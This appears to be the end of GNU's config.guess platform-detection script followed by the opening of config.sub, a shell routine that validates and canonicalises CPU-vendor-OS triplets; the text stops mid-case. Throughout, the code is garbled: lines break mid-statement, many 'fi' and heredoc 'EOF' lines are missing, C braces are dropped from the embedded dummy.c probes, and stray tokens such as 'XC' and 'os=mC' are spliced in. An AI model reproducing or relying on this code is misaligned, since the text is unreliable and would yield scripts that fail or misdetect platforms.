9000/8??:4.3bsd:*:*)
echo hppa1.0-hp-bsd
exit 0 ;;
hp7??:OSF1:*:* | hp8?[79]:OSF1:*:* )
echo hppa1.1-hp-osf
exit 0 ;;
hp8??:OSF1:*:*)
echo
hppa1.0-hp-osf
exit 0 ;;
i?86:OSF1:*:*)
if [ -x /usr/sbin/sysversion ] ;
then
echo ${UNAME_MACHINE}-unknown-osf1mk
else
echo ${UNAME_MACHINE}-unknown-osf1
exit 0 ;;
parisc*:Lites*:*:*)
echo
hppa1.1-hp-lites
exit 0
;;
C1*:ConvexOS:*:* |
convex:ConvexOS:C1*:*)
echo
c1-convex-bsd
exit 0
;;
C2*:ConvexOS:*:* |
convex:ConvexOS:C2*:*)
if
getsysinfo -f scalar_acc
then
echo c32-convex-bsd
else echo
c2-convex-bsd
exit 0
;;
C34*:ConvexOS:*:* |
convex:ConvexOS:C34*:*)
echo
c34-convex-bsd
exit 0
;;
C38*:ConvexOS:*:* |
convex:ConvexOS:C38*:*)
echo
c38-convex-bsd
exit 0
;;
C4*:ConvexOS:*:* |
convex:ConvexOS:C4*:*)
echo
c4-convex-bsd
exit 0 ;;
CRAY*X-MP:*:*:*)
echo
xmp-cray-unicos
exit 0
;;
CRAY*Y-MP:*:*:*)
echo ymp-cray-unicos${UNAME_RELEASE}
exit 0 ;;
CRAY*[A-Z]90:*:*:*)
echo
${UNAME_MACHINE}-cray-unicos${UNAME_RELEASE} \
| sed -e 's/CRAY.*\([A-Z]90\)/\1/' \
-e y/ABCDEFGHIJKLMNOPQRSTUVWXYZ/abcdefghijklmnopqrstuvwxyz/
exit 0 ;;
CRAY*TS:*:*:*)
echo
t90-cray-unicos${UNAME_RELEASE}
exit
0 ;;
CRAY-2:*:*:*)
echo cray2-cray-unicos
exit 0 ;;
F300:UNIX_System_V:*:*)
FUJITSU_SYS=`uname -p | tr [A-Z] [a-z]
| sed -e 's/\///'`
FUJITSU_REL=`echo ${UNAME_RELEASE} | sed -e 's/ /_/'`
echo
"f300-fujitsu-${FUJITSU_SYS}${FUJITSU_REL}"
exit 0 ;;
F301:UNIX_System_V:*:*)
echo f301-fujitsu-uxpv`echo $UNAME_RELEASE
| sed 's/ .*//'`
exit 0
;;
hp3[0-9][05]:NetBSD:*:*)
echo
m68k-hp-netbsd${UNAME_RELEASE}
exit
0 ;;
hp3[0-9][05]:OpenBSD:*:*)
echo
m68k-hp-openbsd${UNAME_RELEASE}
exit
0 ;;
i?86:BSD/386:*:* |
*:BSD/OS:*:*)
echo
${UNAME_MACHINE}-pc-bsdi${UNAME_RELEASE}
exit
0 ;;
*:FreeBSD:*:*)
echo ${UNAME_MACHINE}-unknown-freebsd`echo
${UNAME_RELEASE}|sed -e 's/[-(].*//'`
exit
0 ;;
*:NetBSD:*:*)
echo ${UNAME_MACHINE}-unknown-netbsd`echo
${UNAME_RELEASE}|sed -e 's/[-_].*/\./'`
exit
0 ;;
*:OpenBSD:*:*)
echo ${UNAME_MACHINE}-unknown-openbsd`echo
${UNAME_RELEASE}|sed -e 's/[-_].*/\./'`
exit
0 ;;
i*:CYGWIN*:*)
echo i386-pc-cygwin32
exit 0 ;;
p*:CYGWIN*:*)
echo
powerpcle-unknown-cygwin32
exit
0 ;;
prep*:SunOS:5.*:*)
echo powerpcle-unknown-solaris2`echo
${UNAME_RELEASE}|sed -e 's/[^.]*//'`
exit
0 ;;
*:GNU:*:*)
echo `echo ${UNAME_MACHINE}|sed -e
's,/.*$,,'`-unknown-gnu`echo ${UNAME_RELEASE}|sed -e 's,/.*$,,'`
exit 0 ;;
*:Linux:*:*)
#
The BFD XC
linker knows what the default object file format is, so
# first see if it will tell us.
ld_help_string=`ld --help
2>&1`
if echo
"$ld_help_string" | grep >/dev/null 2>&1 "supported
emulations: elf_i.86"; then
echo
"${UNAME_MACHINE}-pc-linux-gnu" ; exit 0
elif echo "$ld_help_string" | grep >/dev/null
2>&1 "supported emulations: i.86linux"; then
echo "${UNAME_MACHINE}-pc-linux-gnuaout" ; exit 0
elif echo "$ld_help_string" |
grep >/dev/null 2>&1 "supported emulations: i.86coff";
then
echo "${UNAME_MACHINE}-pc-linux-gnucoff" ; exit 0
elif echo "$ld_help_string" |
grep >/dev/null 2>&1 "supported emulations: m68kelf";
then
echo "${UNAME_MACHINE}-unknown-linux-gnu" ; exit
0
elif echo
"$ld_help_string" | grep >/dev/null 2>&1 "supported
emulations: m68klinux"; then
echo
"${UNAME_MACHINE}-unknown-linux-gnuaout" ; exit 0
elif echo "$ld_help_string" |
grep >/dev/null 2>&1 "supported emulations: elf32ppc";
then
echo "powerpc-unknown-linux-gnu" ; exit 0
elif test "${UNAME_MACHINE}" =
"alpha" ; then
echo alpha-unknown-linux-gnu ; exit 0
elif test "${UNAME_MACHINE}" =
"sparc" ; then
echo sparc-unknown-linux-gnu ; exit 0
else
# Either a pre-BFD a.out linker
(linux-gnuoldld) or one that does not give us
# useful --help. Gcc wants to distinguish between
linux-gnuoldld and linux-gnuaout.
test ! -d /usr/lib/ldscripts/. \
&& echo "${UNAME_MACHINE}-pc-linux-gnuoldld"
&& exit 0
# Determine whether the default compiler is
a.out or elf
cat >dummy.c <<EOF
main(argc,
argv)
int argc;
char *argv[];
#ifdef __ELF__
printf ("%s-pc-linux-gnu\n",
argv[1]);
#else
printf
("%s-pc-linux-gnuaout\n", argv[1]);
#endif
return 0;
${CC-cc} dummy.c -o
dummy 2>/dev/null && ./dummy "${UNAME_MACHINE}" &&
rm dummy.c dummy && exit 0
rm -f dummy.c dummy
fi ;;
# ptx 4.0 does uname -s
correctly, with DYNIX/ptx in there.
earlier versions
# are messed up and put the nodename in both
sysname and nodename.
i?86:DYNIX/ptx:4*:*)
echo
i386-sequent-sysv4
exit 0
;;
i?86:*:4.*:* |
i?86:SYSTEM_V:4.*:*)
if grep Novell
/usr/include/link.h >/dev/null 2>/dev/null; then
echo
${UNAME_MACHINE}-univel-sysv${UNAME_RELEASE}
else
echo
${UNAME_MACHINE}-pc-sysv${UNAME_RELEASE}
exit
0 ;;
i?86:*:3.2:*)
if test -f /usr/options/cb.name;
then
UNAME_REL=`sed -n 's/.*Version //p'
</usr/options/cb.name`
echo
${UNAME_MACHINE}-pc-isc$UNAME_REL
elif
/bin/uname -X 2>/dev/null >/dev/null ; then
UNAME_REL=`(/bin/uname
-X|egrep Release|sed -e 's/.*= //')`
(/bin/uname -X|egrep i80486 >/dev/null)
&& UNAME_MACHINE=i486
(/bin/uname -X|egrep '^Machine.*Pentium'
>/dev/null) \
&& UNAME_MACHINE=i586
echo
${UNAME_MACHINE}-pc-sco$UNAME_REL
else
echo
${UNAME_MACHINE}-pc-sysv32
exit
0 ;;
Intel:Mach:3*:*)
echo i386-pc-mach3
exit 0 ;;
paragon:*:*:*)
echo
i860-intel-osf1
exit 0 ;;
i860:*:4.*:*) # i860-SVR4
if grep Stardent /usr/include/sys/uadmin.h
>/dev/null 2>&1 ; then
echo i860-stardent-sysv${UNAME_RELEASE} #
Stardent Vistra i860-SVR4
else
# Add other i860-SVR4 vendors below as they are discovered.
echo i860-unknown-sysv${UNAME_RELEASE}
# Unknown i860-SVR4
exit
0 ;;
mini*:CTIX:SYS*5:*)
# "miniframe"
echo m68010-convergent-sysv
exit 0 ;;
M68*:*:R3V[567]*:*)
test
-r /sysV68 && echo 'm68k-motorola-sysv' && exit 0 ;;
3[34]??:*:4.0:3.0 | 3[34]??,*:*:4.0:3.0 |
4850:*:4.0:3.0)
OS_REL=''
test -r /etc/.relid \
&& OS_REL=.`sed -n 's/[^ ]* [^ ]*
\([0-9][0-9]\).*/\1/p' < /etc/.relid`
/bin/uname
-p 2>/dev/null | grep 86 >/dev/null \
&& echo
i486-ncr-sysv4.3${OS_REL} && exit 0
/bin/uname -p 2>/dev/null | /bin/grep entium >/dev/null
\
&& echo i586-ncr-sysv4.3${OS_REL} && exit 0
;;
3[34]??:*:4.0:* |
3[34]??,*:*:4.0:*)
/bin/uname -p 2>/dev/null | grep 86 >/dev/null \
&& echo i486-ncr-sysv4
&& exit 0 ;;
m68*:LynxOS:2.*:*)
echo
m68k-unknown-lynxos${UNAME_RELEASE}
exit
0 ;;
mc68030:UNIX_System_V:4.*:*)
echo
m68k-atari-sysv4
exit 0
;;
i?86:LynxOS:2.*:*)
echo
i386-unknown-lynxos${UNAME_RELEASE}
exit
0 ;;
TSUNAMI:LynxOS:2.*:*)
echo
sparc-unknown-lynxos${UNAME_RELEASE}
exit
0 ;;
rs6000:LynxOS:2.*:* |
PowerPC:LynxOS:2.*:*)
echo
rs6000-unknown-lynxos${UNAME_RELEASE}
exit
0 ;;
SM[BE]S:UNIX_SV:*:*)
echo mips-dde-sysv${UNAME_RELEASE}
exit 0 ;;
RM*:SINIX-*:*:*)
echo
mips-sni-sysv4
exit 0 ;;
*:SINIX-*:*:*)
if uname -p 2>/dev/null >/dev/null ;
then
UNAME_MACHINE=`(uname -p) 2>/dev/null`
echo
${UNAME_MACHINE}-sni-sysv4
else
echo
ns32k-sni-sysv
exit 0 ;;
*:UNIX_System_V:4*:FTX*)
# From Gerald Hewes
<hewes@openmarket.com>.
#
How about differentiating between stratus architectures? -djm
echo hppa1.1-stratus-sysv4
exit 0 ;;
*:*:*:FTX*)
#
From seanf@swdc.stratus.com.
echo
i860-stratus-sysv4
exit 0
;;
mc68*:A/UX:*:*)
echo m68k-apple-aux${UNAME_RELEASE}
exit 0 ;;
R3000:*System_V*:*:* | R4000:UNIX_SYSV:*:*)
if [ -d /usr/nec ]; then
echo mips-nec-sysv${UNAME_RELEASE}
else
echo mips-unknown-sysv${UNAME_RELEASE}
exit 0 ;;
PENTIUM:CPunix:4.0*:*) # Unisys `ClearPath HMP IX 4000' SVR4/MP
effort
# says
<Richard.M.Bartel@ccMail.Census.GOV>
echo i586-unisys-sysv4
exit 0 ;;
esac
#echo '(No uname command or uname
output not recognized.)' 1>&2
#echo
"${UNAME_MACHINE}:${UNAME_SYSTEM}:${UNAME_RELEASE}:${UNAME_VERSION}"
1>&2
cat >dummy.c <<EOF
#ifdef _SEQUENT_
#
include <sys/types.h>
# include <sys/utsname.h>
#endif
main
()
#if defined (sony)
#if defined (MIPSEB)
/* BFD wants "bsd" instead of
"newsos". Perhaps BFD should
be changed,
I don't
know.... */
printf ("mips-sony-bsd\n"); exit
(0);
#else
#include <sys/param.h>
printf
("m68k-sony-newsos%s\n",
#ifdef NEWSOS4
"4"
#else
""
#endif
); exit (0);
#endif
#endif
#if defined (__arm) &&
defined (__acorn) && defined (__unix)
printf ("arm-acorn-riscix"); exit (0);
#endif
#if
defined (hp300) && !defined (hpux)
printf ("m68k-hp-bsd\n"); exit (0);
#endif
#if
defined (NeXT)
#if !defined (__ARCHITECTURE__)
#define
__ARCHITECTURE__ "m68k"
#endif
int version;
version=`(hostinfo | sed -n 's/.*NeXT Mach \([0-9]*\).*/\1/p')
2>/dev/null`;
printf
("%s-next-nextstep%d\n", __ARCHITECTURE__, version);
exit (0);
#endif
#if defined
(MULTIMAX) || defined (n16)
#if defined (UMAXV)
printf ("ns32k-encore-sysv\n");
exit (0);
#else
#if defined (CMU)
printf ("ns32k-encore-mach\n"); exit (0);
#else
printf ("ns32k-encore-bsd\n");
exit (0);
#endif
#endif
#endif
#if defined
(__386BSD__)
printf
("i386-pc-bsd\n"); exit (0);
#endif
#if defined
(sequent)
#if defined (i386)
printf ("i386-sequent-dynix\n"); exit (0);
#endif
#if
defined (ns32000)
printf
("ns32k-sequent-dynix\n"); exit (0);
#endif
#endif
#if
defined (_SEQUENT_)
struct
utsname un;
uname(&un);
if
(strncmp(un.version, "V2", 2) == 0) {
printf ("i386-sequent-ptx2\n"); exit (0);
}
if (strncmp(un.version, "V1", 2) == 0) { /* XXX is V1 correct?
*/
printf
("i386-sequent-ptx1\n"); exit (0);
}
printf
("i386-sequent-ptx\n"); exit (0);
#endif
#if defined
(vax)
#if !defined (ultrix)
printf ("vax-dec-bsd\n"); exit (0);
#else
printf ("vax-dec-ultrix\n"); exit
(0);
#endif
#endif
#if defined (alliant) && defined
(i860)
printf
("i860-alliant-bsd\n"); exit (0);
#endif
exit (1);
${CC-cc} dummy.c -o dummy
2>/dev/null && ./dummy && rm dummy.c dummy && exit
0
rm -f dummy.c dummy
# Apollos put the system type in the
environment.
test -d /usr/apollo && { echo
${ISP}-apollo-${SYSTYPE}; exit 0; }
# Convex versions that predate uname
can use getsysinfo(1)
if [ -x /usr/convex/getsysinfo ]
then
case `getsysinfo -f cpu_type` in
c1*)
echo
c1-convex-bsd
exit 0 ;;
c2*)
if
getsysinfo -f scalar_acc
then
echo c32-convex-bsd
else echo
c2-convex-bsd
exit 0 ;;
c34*)
echo c34-convex-bsd
exit
0 ;;
c38*)
echo c38-convex-bsd
exit 0 ;;
c4*)
echo
c4-convex-bsd
exit 0 ;;
esac
#echo '(Unable to guess system
type)' 1>&2
exit 1
#! /bin/sh
# Configuration validation
subroutine script, version 1.1.
#
Copyright (C) 1991, 92, 93, 94, 95, 1996 Free Software Foundation,
Inc.
# This file is (in principle) common to ALL GNU software.
# The
presence of a machine in this file suggests that SOME GNU software
# can
handle that machine. It does not imply
ALL GNU software can.
# This file is free software; you can redistribute
it and/or modify
# it under the terms of the GNU General Public License as
published by
# the Free Software Foundation; either version 2 of the
License, or
# (at your option) any later version.
# This program is
distributed in the hope that it will be useful,
# but WITHOUT ANY
WARRANTY; without even the implied warranty of
# MERCHANTABILITY or
FITNESS FOR A PARTICULAR PURPOSE. See
the
# GNU General Public License for more details.
# You should have
received a copy of the GNU General Public License
# along with this
program; if not, write to the Free Software
# Foundation, Inc., 59 Temple
Place - Suite 330,
# Boston, MA 02111-1307, USA.
# As a special
exception to the GNU General Public License, if you
# distribute this file
as part of a program that contains a
# configuration script generated by
Autoconf, you may include it under
# the same distribution terms that you
use for the rest of that program.
# Configuration subroutine to validate
and canonicalize a configuration type.
# Supply the specified
configuration type as an argument.
# If it is invalid, we print an error
message on stderr and exit with code 1.
# Otherwise, we print the
canonical config type on stdout and succeed.
# This file is supposed to be
the same for all GNU packages
# and recognize all the CPU types, system
types and aliases
# that are meaningful with *any* GNU software.
#
Each package is responsible for reporting which valid configurations
# it
does not support. The user should be
able to distinguish
# a failure to support a valid configuration from a
meaningless
# configuration.
# The goal of this file is to map all
the various variations of a given
# machine specification into a single
specification in the form:
# CPU_TYPE-MANUFACTURER-OPERATING_SYSTEM
#
or in some cases, the newer four-part form:
# CPU_TYPE-MANUFACTURER-KERNEL-OPERATING_SYSTEM
# It is
wrong to echo any other type of specification.
if [ x$1 = x ]
then
echo Configuration name missing.
1>&2
echo "Usage:
$0 CPU-MFR-OPSYS" 1>&2
echo
"or $0 ALIAS"
1>&2
echo where ALIAS is
a recognized configuration type. 1>&2
exit 1
# First pass through any local machine types.
case
$1 in
*local*)
echo
$1
exit 0
;;
esac
# Separate what the user
gave into CPU-COMPANY and OS or KERNEL-OS (if any).
# Here we must
recognize all the valid KERNEL-OS combinations.
maybe_os=`echo $1 | sed
's/^\(.*\)-\([^-]*-[^-]*\)$/\2/'`
case $maybe_os in
linux-gnu*)
os=-$maybe_os
basic_machine=`echo $1 | sed 's/^\(.*\)-\([^-]*-[^-]*\)$/\1/'`
;;
*)
basic_machine=`echo
$1 | sed 's/-[^-]*$//'`
if [
$basic_machine != $1 ]
then
os=`echo $1 | sed 's/.*-/-/'`
else os=; fi
;;
esac
###
Let's recognize common machines as not being operating systems so
### that
things like config.sub decstation-3100 work.
We also
### recognize some manufacturers as not being operating
systems, so we
### can provide default operating systems below.
case
$os in
-sun*os*)
#
Prevent following clause from handling this invalid input.
;;
-dec* | -mips* | -sequent* | -encore* |
-pc532* | -sgi* | -sony* | \
-att*
| -7300* | -3300* | -delta* | -motorola* | -sun[234]* | \
-unicom* | -ibm* | -next | -hp | -isi* |
-apollo | -altos* | \
-convergent*
| -ncr* | -news | -32* | -3600* | -3100* | -hitachi* |\
-c[123]* | -convex* | -sun | -crds |
-omron* | -dg | -ultra | -tti* | \
-harris
| -dolphin | -highlevel | -gould | -cbm | -ns | -masscomp | \
-apple)
os=
basic_machine=$1
;;
-hiux*)
os=-hiuxwe2
;;
-sco5)
os=sco3.2v5
basic_machine=`echo
$1 | sed -e 's/86-.*/86-pc/'`
;;
-sco4)
os=-sco3.2v4
basic_machine=`echo
$1 | sed -e 's/86-.*/86-pc/'`
;;
-sco3.2.[4-9]*)
os=`echo
$os | sed -e 's/sco3.2./sco3.2v/'`
basic_machine=`echo $1 | sed -e
's/86-.*/86-pc/'`
;;
-sco3.2v[4-9]*)
#
Don't forget version if it is 3.2v4 or newer.
basic_machine=`echo
$1 | sed -e 's/86-.*/86-pc/'`
;;
-sco*)
os=-sco3.2v2
basic_machine=`echo
$1 | sed -e 's/86-.*/86-pc/'`
;;
-isc)
os=-isc2.2
basic_machine=`echo
$1 | sed -e 's/86-.*/86-pc/'`
;;
-clix*)
basic_machine=clipper-intergraph
;;
-isc*)
basic_machine=`echo
$1 | sed -e 's/86-.*/86-pc/'`
;;
-lynx*)
os=-lynxos
;;
-ptx*)
basic_machine=`echo
$1 | sed -e 's/86-.*/86-sequent/'`
;;
-windowsnt*)
os=`echo
$os | sed -e 's/windowsnt/winnt/'`
;;
-psos*)
os=-psos
;;
esac
#
Decode aliases for certain CPU-COMPANY combinations.
case $basic_machine
in
# Recognize the basic CPU
types without company name.
#
Some are omitted here because they have special meanings below.
tahoe | i860 | m68k | m68000 | m88k |
ns32k | arm \
| arme[lb] | pyramid \
|
tron | a29k | 580 | i960 | h8300 | hppa | hppa1.0 | hppa1.1 \
|
alpha | we32k | ns16k | clipper | i370 | sh \
| powerpc |
powerpcle | 1750a | dsp16xx | mips64 | mipsel \
| pdp11 | mips64el |
mips64orion | mips64orionel \
| sparc | sparclet | sparclite | sparc64)
basic_machine=$basic_machine-unknown
;;
# We use `pc' rather than `unknown'
# because (1) that's what they normally
are, and
# (2) the word
"unknown" tends to confuse beginning users.
i[3456]86)
basic_machine=$basic_machine-pc
;;
#
Object if more than one company name word.
*-*-*)
echo Invalid configuration \`$1\': machine
\`$basic_machine\' not recognized 1>&2
exit 1
;;
# Recognize the basic CPU types with
company name.
vax-* | tahoe-* |
i[3456]86-* | i860-* | m68k-* | m68000-* | m88k-* \
| sparc-* | ns32k-* | fx80-* | arm-* | c[123]* \
| mips-* | pyramid-* | tron-* | a29k-* | romp-* | rs6000-* | power-*
\
| none-* | 580-* | cray2-* | h8300-* | i960-* | xmp-* | ymp-*
\
| hppa-* | hppa1.0-* | hppa1.1-* | alpha-* | we32k-* |
cydra-* | ns16k-* \
| pn-* | np1-* | xps100-* | clipper-* |
orion-* | sparclite-* \
| pdp11-* | sh-* | powerpc-* |
powerpcle-* | sparc64-* | mips64-* | mipsel-* \
| mips64el-* |
mips64orion-* | mips64orionel-* | f301-*)
;;
#
Recognize the various machine names and aliases which stand
# for a CPU type and a company and
sometimes even an OS.
3b1 |
7300 | 7300-att | att-7300 | pc7300 | safari | unixpc)
basic_machine=m68000-att
;;
3b*)
basic_machine=we32k-att
;;
alliant | fx80)
basic_machine=fx80-alliant
;;
altos | altos3068)
basic_machine=m68k-altos
;;
am29k)
basic_machine=a29k-none
os=-bsd
;;
amdahl)
basic_machine=580-amdahl
os=-sysv
;;
amiga | amiga-*)
basic_machine=m68k-cbm
;;
amigados)
basic_machine=m68k-cbm
os=-amigados
;;
amigaunix | amix)
basic_machine=m68k-cbm
os=-sysv4
;;
apollo68)
basic_machine=m68k-apollo
os=-sysv
;;
aux)
basic_machine=m68k-apple
os=-aux
;;
balance)
basic_machine=ns32k-sequent
os=-dynix
;;
convex-c1)
basic_machine=c1-convex
os=-bsd
;;
convex-c2)
basic_machine=c2-convex
os=-bsd
;;
convex-c32)
basic_machine=c32-convex
os=-bsd
;;
convex-c34)
basic_machine=c34-convex
os=-bsd
;;
convex-c38)
basic_machine=c38-convex
os=-bsd
;;
cray | ymp)
basic_machine=ymp-cray
os=-unicos
;;
cray2)
basic_machine=cray2-cray
os=-unicos
;;
[ctj]90-cray)
basic_machine=c90-cray
os=-unicos
;;
crds | unos)
basic_machine=m68k-crds
;;
da30 | da30-*)
basic_machine=m68k-da30
;;
decstation | decstation-3100 | pmax |
pmax-* | pmin | dec3100 | decstatn)
basic_machine=mips-dec
;;
delta | 3300 | motorola-3300 |
motorola-delta \
| 3300-motorola | delta-motorola)
basic_machine=m68k-motorola
;;
delta88)
basic_machine=m88k-motorola
os=-sysv3
;;
dpx20 | dpx20-*)
basic_machine=rs6000-bull
os=-bosx
;;
dpx2* | dpx2*-bull)
basic_machine=m68k-bull
os=-sysv3
;;
ebmon29k)
basic_machine=a29k-amd
os=-ebmon
;;
elxsi)
basic_machine=elxsi-elxsi
os=-bsd
;;
encore | umax | mmax)
basic_machine=ns32k-encore
;;
fx2800)
basic_machine=i860-alliant
;;
genix)
basic_machine=ns32k-ns
;;
gmicro)
basic_machine=tron-gmicro
os=-sysv
;;
h3050r* | hiux*)
basic_machine=hppa1.1-hitachi
os=-hiuxwe2
;;
h8300hms)
basic_machine=h8300-hitachi
os=-hms
;;
harris)
basic_machine=m88k-harris
os=-sysv3
;;
hp300-*)
basic_machine=m68k-hp
;;
hp300bsd)
basic_machine=m68k-hp
os=-bsd
;;
hp300hpux)
basic_machine=m68k-hp
os=-hpux
;;
hp9k2[0-9][0-9] | hp9k31[0-9])
basic_machine=m68000-hp
;;
hp9k3[2-9][0-9])
basic_machine=m68k-hp
;;
hp9k7[0-9][0-9] | hp7[0-9][0-9] |
hp9k8[0-9]7 | hp8[0-9]7)
basic_machine=hppa1.1-hp
;;
hp9k8[0-9][0-9] | hp8[0-9][0-9])
basic_machine=hppa1.0-hp
;;
hppa-next)
os=-nextstep3
;;
i370-ibm* | ibm*)
basic_machine=i370-ibm
os=-mvs
;;
#
I'm not sure what "Sysv32" means.
Should this be sysv3.2?
i[3456]86v32)
basic_machine=`echo
$1 | sed -e 's/86.*/86-pc/'`
os=-sysv32
;;
i[3456]86v4*)
basic_machine=`echo
$1 | sed -e 's/86.*/86-pc/'`
os=-sysv4
;;
i[3456]86v)
basic_machine=`echo
$1 | sed -e 's/86.*/86-pc/'`
os=-sysv
;;
i[3456]86sol2)
basic_machine=`echo
$1 | sed -e 's/86.*/86-pc/'`
os=-solaris2
;;
iris | iris4d)
basic_machine=mips-sgi
case
$os in
-irix*)
;;
*)
os=-irix4
;;
esac
;;
isi68 | isi)
basic_machine=m68k-isi
os=-sysv
;;
m88k-omron*)
basic_machine=m88k-omron
;;
magnum | m3230)
basic_machine=mips-mips
os=-sysv
;;
merlin)
basic_machine=ns32k-utek
os=-sysv
;;
miniframe)
basic_machine=m68000-convergent
;;
mips3*-*)
basic_machine=`echo
$basic_machine | sed -e 's/mips3/mips64/'`
;;
mips3*)
basic_machine=`echo
$basic_machine | sed -e 's/mips3/mips64/'`-unknown
;;
ncr3000)
basic_machine=i486-ncr
os=-sysv4
;;
news | news700 | news800 | news900)
basic_machine=m68k-sony
os=-newsos
;;
news1000)
basic_machine=m68030-sony
os=-newsos
;;
news-3600 | risc-news)
basic_machine=mips-sony
os=-newsos
;;
next | m*-next )
basic_machine=m68k-next
case
$os in
-nextstep* )
;;
-ns2*)
os=-nextstep2
;;
*)
os=-nextstep3
;;
esac
;;
nh3000)
basic_machine=m68k-harris
os=-cxux
;;
nh[45]000)
basic_machine=m88k-harris
os=-cxux
;;
nindy960)
basic_machine=i960-intel
os=-nindy
;;
np1)
basic_machine=np1-gould
;;
pa-hitachi)
basic_machine=hppa1.1-hitachi
os=-hiuxwe2
;;
paragon)
basic_machine=i860-intel
os=-osf
;;
pbd)
basic_machine=sparc-tti
;;
pbb)
basic_machine=m68k-tti
;;
pc532 | pc532-*)
basic_machine=ns32k-pc532
;;
pentium | p5)
basic_machine=i586-intel
;;
pentiumpro | p6)
basic_machine=i686-intel
;;
pentium-* | p5-*)
basic_machine=i586-`echo
$basic_machine | sed 's/^[^-]*-//'`
;;
pentiumpro-*
| p6-*)
basic_machine=i686-`echo $basic_machine | sed
's/^[^-]*-//'`
;;
k5)
#
We don't have specific support for AMD's K5 yet, so just call it a
Pentium
basic_machine=i586-amd
;;
nexen)
#
We don't have specific support for Nexgen yet, so just call it a Pentium
basic_machine=i586-nexgen
;;
pn)
basic_machine=pn-gould
;;
power) basic_machine=rs6000-ibm
;;
ppc) basic_machine=powerpc-unknown
;;
ppc-*) basic_machine=powerpc-`echo $basic_machine
| sed 's/^[^-]*-//'`
;;
ppcle
| powerpclittle | ppc-le | powerpc-little)
basic_machine=powerpcle-unknown
;;
ppcle-* |
powerpclittle-*)
basic_machine=powerpcle-`echo
$basic_machine | sed 's/^[^-]*-//'`
;;
ps2)
basic_machine=i386-ibm
;;
rm[46]00)
basic_machine=mips-siemens
;;
rtpc | rtpc-*)
basic_machine=romp-ibm
;;
sequent)
basic_machine=i386-sequent
;;
sh)
basic_machine=sh-hitachi
os=-hms
;;
sps7)
basic_machine=m68k-bull
os=-sysv2
;;
spur)
basic_machine=spur-unknown
;;
sun2)
basic_machine=m68000-sun
;;
sun2os3)
basic_machine=m68000-sun
os=-sunos3
;;
sun2os4)
basic_machine=m68000-sun
os=-sunos4
;;
sun3os3)
basic_machine=m68k-sun
os=mC
-sunos3
;;
sun3os4)
basic_machine=m68k-sun
os=-sunos4
;;
sun4os3)
basic_machine=sparc-sun
os=-sunos3
;;
sun4os4)
basic_machine=sparc-sun
os=-sunos4
;;
sun4sol2)
basic_machine=sparc-sun
os=-solaris2
;;
sun3 | sun3-*)
basic_machine=m68k-sun
;;
sun4)
basic_machine=sparc-sun
;;
sun386 | sun386i | roadrunner)
basic_machine=i386-sun
;;
symmetry)
basic_machine=i386-sequent
os=-dynix
;;
tower | tower-32)
basic_machine=m68k-ncr
;;
udi29k)
basic_machine=a29k-amd
os=-udi
;;
ultra3)
basic_machine=a29k-nyu
os=-sym1
;;
vaxv)
basic_machine=vax-dec
os=-sysv
;;
vms)
basic_machine=vax-dec
os=-vms
;;
vpp*|vx|vx-*)
basic_machine=f301-fujitsu
;;
vxworks960)
basic_machine=i960-wrs
os=-vxworks
;;
vxworks68)
basic_machine=m68k-wrs
os=-vxworks
;;
vxworks29k)
basic_machine=a29k-wrs
os=-vxworks
;;
xmp)
basic_machine=xmp-cray
os=-unicos
;;
xps | xps100)
basic_machine=xps100-honeywell
;;
none)
basic_machine=none-none
os=-none
;;
#
Here we handle the default manufacturer of certain CPU types. It is in
# some cases the only
manufacturer, in others, it is the most popular.
mips)
basic_machine=mips-mips
;;
romp)
basic_machine=romp-ibm
;;
rs6000)
basic_machine=rs6000-ibm
;;
vax)
basic_machine=vax-dec
;;
pdp11)
basic_machine=pdp11-dec
;;
we32k)
basic_machine=we32k-att
;;
sparc)
basic_machine=sparc-sun
;;
cydra)
basic_machine=cydra-cydrome
;;
orion)
basic_machine=orion-highlevel
;;
orion105)
basic_machine=clipper-highlevel
;;
echo
Invalid configuration \`$1\': machine \`$basic_machine\' not recognized
1>&2
exit 1
;;
esac
#
Here we canonicalize certain aliases for manufacturers.
case
$basic_machine in
*-digital*)
basic_machine=`echo
$basic_machine | sed 's/digital.*/dec/'`
;;
*-commodore*)
basic_machine=`echo
$basic_machine | sed 's/commodore.*/cbm/'`
;;
;;
esac
#
Decode manufacturer-specific aliases for certain operating systems.
if [
x"$os" != x"" ]
then
case $os in
# First match some system type
aliases
# that might get
confused with valid system types.
#
-solaris* is a basic system type, with this one exception.
-solaris1 | -solaris1.*)
os=`echo
$os | sed -e 's|solaris1|sunos4|'`
;;
-solaris)
os=-solaris2
;;
-unixware* | svr4*)
os=-sysv4
;;
-gnu/linux*)
os=`echo $os | sed
-e 's|gnu/linux|linux-gnu|'`
;;
#
First accept the basic system types.
#
The portable systems comes first.
#
Each alternative MUST END IN A *, to match a version number.
# -sysv* is not here because it comes
later, after sysvr4.
-gnu* |
-bsd* | -mach* | -minix* | -genix* | -ultrix* | -irix* \
| -*vms* | -sco* | -esix* | -isc* | -aix* | -sunos | -sunos[34]*\
| -hpux* | -unos* | -osf* | -luna* | -dgux* | -solaris* | -sym* \
| -amigados* | -msdos* | -newsos* | -unicos* | -aof* | -aos* \
| -nindy* | -vxsim* | -vxworks* | -ebmon* | -hms* | -mvs* \
| -clix* | -riscos* | -uniplus* | -iris* | -rtu* | -xenix* \
| -hiux* | -386bsd* | -netbsd* | -openbsd* | -freebsd* | -riscix*
\
| -lynxos* | -bosx* | -nextstep* | -cxux* | -aout* | -elf*
\
| -ptx* | -coff* | -ecoff* | -winnt* | -domain* | -vsta*
\
| -udi* | -eabi* | -lites* | -ieee* | -go32* | -aux* \
| -cygwin32* | -pe* | -psos* | -moss* | -proelf* | -rtems* \
| -linux-gnu* | -uxpv*)
#
Remember, each alternative MUST END IN *, to match a version number.
;;
-linux*)
os=`echo $os | sed
-e 's|linux|linux-gnu|'`
;;
-sunos5*)
os=`echo
$os | sed -e 's|sunos5|solaris2|'`
;;
-sunos6*)
os=`echo
$os | sed -e 's|sunos6|solaris3|'`
;;
-osfrose*)
os=-osfrose
;;
-osf*)
os=-osf
;;
-utek*)
os=-bsd
;;
-dynix*)
os=-bsd
;;
-acis*)
os=-aos
;;
-ctix* | -uts*)
os=-sysv
;;
-ns2 )
os=-nextstep2
;;
#
Preserve the version number of sinix5.
-sinix5.*)
os=`echo
$os | sed -e 's|sinix|sysv|'`
;;
-sinix*)
os=-sysv4
;;
-triton*)
os=-sysv3
;;
-oss*)
os=-sysv3
;;
-svr4)
os=-sysv4
;;
-svr3)
os=-sysv3
;;
-sysvr4)
os=-sysv4
;;
# This must come after -sysvr4.
-sysv*)
;;
-xenix)
os=-xenix
;;
-none)
;;
#
